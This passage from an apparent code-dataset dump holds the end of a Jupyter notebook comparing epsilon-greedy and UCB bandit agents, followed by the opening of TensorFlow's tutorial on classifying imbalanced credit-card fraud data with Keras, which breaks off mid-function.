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\n", "text/plain": [ "<matplotlib.figure.Figure at 0x110524320>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "agents = [\n", " bd.Agent(bandit, bd.EpsilonGreedyPolicy(0.1)),\n", " bd.Agent(bandit, bd.UCBPolicy(2))\n", "]\n", "env = bd.Environment(bandit, agents, 'Upper Confidence Bound (UCB1)')\n", "scores, optimal = env.run(n_trials, n_experiments)\n", "env.plot_results(scores, optimal)" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [] } ], "metadata": { "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.5.1" } }, "nbformat": 4, "nbformat_minor": 0 }

apache-2.0

tensorflow/docs

site/en/tutorials/structured_data/imbalanced_data.ipynb

2

57513

{ "cells": [ { "cell_type": "markdown", "metadata": { "id": "dUeKVCYTbcyT" }, "source": [ "#### Copyright 2019 The TensorFlow Authors." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "cellView": "form", "id": "4ellrPx7tdxq" }, "outputs": [], "source": [ "#@title Licensed under the Apache License, Version 2.0 (the \"License\");\n", "# you may not use this file except in compliance with the License.\n", "# You may obtain a copy of the License at\n", "#\n", "# https://www.apache.org/licenses/LICENSE-2.0\n", "#\n", "# Unless required by applicable law or agreed to in writing, software\n", "# distributed under the License is distributed on an \"AS IS\" BASIS,\n", "# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n", "# See the License for the specific language governing permissions and\n", "# limitations under the License." ] }, { "cell_type": "markdown", "metadata": { "id": "7JfLUlawto_D" }, "source": [ "# Classification on imbalanced data" ] }, { "cell_type": "markdown", "metadata": { "id": "DwdpaTKJOoPu" }, "source": [ "<table class=\"tfo-notebook-buttons\" align=\"left\">\n", " <td>\n", " <a target=\"_blank\" href=\"https://www.tensorflow.org/tutorials/structured_data/imbalanced_data\"><img src=\"https://www.tensorflow.org/images/tf_logo_32px.png\" />View on TensorFlow.org</a>\n", " </td>\n", " <td>\n", " <a target=\"_blank\" href=\"https://colab.research.google.com/github/tensorflow/docs/blob/master/site/en/tutorials/structured_data/imbalanced_data.ipynb\"><img src=\"https://www.tensorflow.org/images/colab_logo_32px.png\" />Run in Google Colab</a>\n", " </td>\n", " <td>\n", " <a target=\"_blank\" href=\"https://github.com/tensorflow/docs/blob/master/site/en/tutorials/structured_data/imbalanced_data.ipynb\"><img src=\"https://www.tensorflow.org/images/GitHub-Mark-32px.png\" />View source on GitHub</a>\n", " </td>\n", " <td>\n", " <a href=\"https://storage.googleapis.com/tensorflow_docs/docs/site/en/tutorials/structured_data/imbalanced_data.ipynb\"><img src=\"https://www.tensorflow.org/images/download_logo_32px.png\" />Download notebook</a>\n", " </td>\n", "</table>" ] }, { "cell_type": "markdown", "metadata": { "id": "mthoSGBAOoX-" }, "source": [ "This tutorial demonstrates how to classify a highly imbalanced dataset in which the number of examples in one class greatly outnumbers the examples in another. You will work with the [Credit Card Fraud Detection](https://www.kaggle.com/mlg-ulb/creditcardfraud) dataset hosted on Kaggle. The aim is to detect a mere 492 fraudulent transactions from 284,807 transactions in total. You will use [Keras](https://www.tensorflow.org/guide/keras/overview) to define the model and [class weights](https://www.tensorflow.org/versions/r2.0/api_docs/python/tf/keras/Model) to help the model learn from the imbalanced data. .\n", "\n", "This tutorial contains complete code to:\n", "\n", "* Load a CSV file using Pandas.\n", "* Create train, validation, and test sets.\n", "* Define and train a model using Keras (including setting class weights).\n", "* Evaluate the model using various metrics (including precision and recall).\n", "* Try common techniques for dealing with imbalanced data like:\n", " * Class weighting \n", " * Oversampling\n" ] }, { "cell_type": "markdown", "metadata": { "id": "kRHmSyHxEIhN" }, "source": [ "## Setup" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "JM7hDSNClfoK" }, "outputs": [], "source": [ "import tensorflow as tf\n", "from tensorflow import keras\n", "\n", "import os\n", "import tempfile\n", "\n", "import matplotlib as mpl\n", "import matplotlib.pyplot as plt\n", "import numpy as np\n", "import pandas as pd\n", "import seaborn as sns\n", "\n", "import sklearn\n", "from sklearn.metrics import confusion_matrix\n", "from sklearn.model_selection import train_test_split\n", "from sklearn.preprocessing import StandardScaler" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "c8o1FHzD-_y_" }, "outputs": [], "source": [ "mpl.rcParams['figure.figsize'] = (12, 10)\n", "colors = plt.rcParams['axes.prop_cycle'].by_key()['color']" ] }, { "cell_type": "markdown", "metadata": { "id": "Z3iZVjziKHmX" }, "source": [ "## Data processing and exploration" ] }, { "cell_type": "markdown", "metadata": { "id": "4sA9WOcmzH2D" }, "source": [ "### Download the Kaggle Credit Card Fraud data set\n", "\n", "Pandas is a Python library with many helpful utilities for loading and working with structured data. It can be used to download CSVs into a Pandas [DataFrame](https://pandas.pydata.org/docs/reference/api/pandas.DataFrame.html#pandas.DataFrame).\n", "\n", "Note: This dataset has been collected and analysed during a research collaboration of Worldline and the [Machine Learning Group](http://mlg.ulb.ac.be) of ULB (Université Libre de Bruxelles) on big data mining and fraud detection. More details on current and past projects on related topics are available [here](https://www.researchgate.net/project/Fraud-detection-5) and the page of the [DefeatFraud](https://mlg.ulb.ac.be/wordpress/portfolio_page/defeatfraud-assessment-and-validation-of-deep-feature-engineering-and-learning-solutions-for-fraud-detection/) project" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "pR_SnbMArXr7" }, "outputs": [], "source": [ "file = tf.keras.utils\n", "raw_df = pd.read_csv('https://storage.googleapis.com/download.tensorflow.org/data/creditcard.csv')\n", "raw_df.head()" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "-fgdQgmwUFuj" }, "outputs": [], "source": [ "raw_df[['Time', 'V1', 'V2', 'V3', 'V4', 'V5', 'V26', 'V27', 'V28', 'Amount', 'Class']].describe()" ] }, { "cell_type": "markdown", "metadata": { "id": "xWKB_CVZFLpB" }, "source": [ "### Examine the class label imbalance\n", "\n", "Let's look at the dataset imbalance:" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "HCJFrtuY2iLF" }, "outputs": [], "source": [ "neg, pos = np.bincount(raw_df['Class'])\n", "total = neg + pos\n", "print('Examples:\\n Total: {}\\n Positive: {} ({:.2f}% of total)\\n'.format(\n", " total, pos, 100 * pos / total))" ] }, { "cell_type": "markdown", "metadata": { "id": "KnLKFQDsCBUg" }, "source": [ "This shows the small fraction of positive samples." ] }, { "cell_type": "markdown", "metadata": { "id": "6qox6ryyzwdr" }, "source": [ "### Clean, split and normalize the data\n", "\n", "The raw data has a few issues. First the `Time` and `Amount` columns are too variable to use directly. Drop the `Time` column (since it's not clear what it means) and take the log of the `Amount` column to reduce its range." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "Ef42jTuxEjnj" }, "outputs": [], "source": [ "cleaned_df = raw_df.copy()\n", "\n", "# You don't want the `Time` column.\n", "cleaned_df.pop('Time')\n", "\n", "# The `Amount` column covers a huge range. Convert to log-space.\n", "eps = 0.001 # 0 => 0.1¢\n", "cleaned_df['Log Amount'] = np.log(cleaned_df.pop('Amount')+eps)" ] }, { "cell_type": "markdown", "metadata": { "id": "uSNgdQFFFQ6u" }, "source": [ "Split the dataset into train, validation, and test sets. The validation set is used during the model fitting to evaluate the loss and any metrics, however the model is not fit with this data. The test set is completely unused during the training phase and is only used at the end to evaluate how well the model generalizes to new data. This is especially important with imbalanced datasets where [overfitting](https://developers.google.com/machine-learning/crash-course/generalization/peril-of-overfitting) is a significant concern from the lack of training data." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "xfxhKg7Yr1-b" }, "outputs": [], "source": [ "# Use a utility from sklearn to split and shuffle your dataset.\n", "train_df, test_df = train_test_split(cleaned_df, test_size=0.2)\n", "train_df, val_df = train_test_split(train_df, test_size=0.2)\n", "\n", "# Form np arrays of labels and features.\n", "train_labels = np.array(train_df.pop('Class'))\n", "bool_train_labels = train_labels != 0\n", "val_labels = np.array(val_df.pop('Class'))\n", "test_labels = np.array(test_df.pop('Class'))\n", "\n", "train_features = np.array(train_df)\n", "val_features = np.array(val_df)\n", "test_features = np.array(test_df)" ] }, { "cell_type": "markdown", "metadata": { "id": "8a_Z_kBmr7Oh" }, "source": [ "Normalize the input features using the sklearn StandardScaler.\n", "This will set the mean to 0 and standard deviation to 1.\n", "\n", "Note: The `StandardScaler` is only fit using the `train_features` to be sure the model is not peeking at the validation or test sets. " ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "IO-qEUmJ5JQg" }, "outputs": [], "source": [ "scaler = StandardScaler()\n", "train_features = scaler.fit_transform(train_features)\n", "\n", "val_features = scaler.transform(val_features)\n", "test_features = scaler.transform(test_features)\n", "\n", "train_features = np.clip(train_features, -5, 5)\n", "val_features = np.clip(val_features, -5, 5)\n", "test_features = np.clip(test_features, -5, 5)\n", "\n", "\n", "print('Training labels shape:', train_labels.shape)\n", "print('Validation labels shape:', val_labels.shape)\n", "print('Test labels shape:', test_labels.shape)\n", "\n", "print('Training features shape:', train_features.shape)\n", "print('Validation features shape:', val_features.shape)\n", "print('Test features shape:', test_features.shape)\n" ] }, { "cell_type": "markdown", "metadata": { "id": "XF2nNfWKJ33w" }, "source": [ "Caution: If you want to deploy a model, it's critical that you preserve the preprocessing calculations. The easiest way to implement them as layers, and attach them to your model before export.\n" ] }, { "cell_type": "markdown", "metadata": { "id": "uQ7m9nqDC3W6" }, "source": [ "### Look at the data distribution\n", "\n", "Next compare the distributions of the positive and negative examples over a few features. Good questions to ask yourself at this point are:\n", "\n", "* Do these distributions make sense? \n", " * Yes. You've normalized the input and these are mostly concentrated in the `+/- 2` range.\n", "* Can you see the difference between the distributions?\n", " * Yes the positive examples contain a much higher rate of extreme values." ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "raK7hyjd_vf6" }, "outputs": [], "source": [ "pos_df = pd.DataFrame(train_features[ bool_train_labels], columns=train_df.columns)\n", "neg_df = pd.DataFrame(train_features[~bool_train_labels], columns=train_df.columns)\n", "\n", "sns.jointplot(x=pos_df['V5'], y=pos_df['V6'],\n", " kind='hex', xlim=(-5,5), ylim=(-5,5))\n", "plt.suptitle(\"Positive distribution\")\n", "\n", "sns.jointplot(x=neg_df['V5'], y=neg_df['V6'],\n", " kind='hex', xlim=(-5,5), ylim=(-5,5))\n", "_ = plt.suptitle(\"Negative distribution\")" ] }, { "cell_type": "markdown", "metadata": { "id": "qFK1u4JX16D8" }, "source": [ "## Define the model and metrics\n", "\n", "Define a function that creates a simple neural network with a densly connected hidden layer, a [dropout](https://developers.google.com/machine-learning/glossary/#dropout_regularization) layer to reduce overfitting, and an output sigmoid layer that returns the probability of a transaction being fraudulent: " ] }, { "cell_type": "code", "execution_count": null, "metadata": { "id": "3JQDzUqT3UYG" }, "outputs": [], "source": [ "METRICS = [\n", " keras.metrics.TruePositives(name='tp'),\n", " keras.metrics.FalsePositives(name='fp'),\n", " keras.metrics.TrueNegatives(name='tn'),\n", " keras.metrics.FalseNegatives(name='fn'), \n", " keras.metrics.BinaryAccuracy(name='accuracy'),\n", " keras.metrics.Precision(name='precision'),\n", " keras.metrics.Recall(name='recall'),\n", " keras.metrics.AUC(name='auc'),\n", " keras.metrics.AUC(name='prc', curve='PR'), # precision-recall curve\n", "]\n", "\n", "def make_model(metrics=METRICS, output_bias=None):\n", " if output_bias is not None:\n", " output_bias = 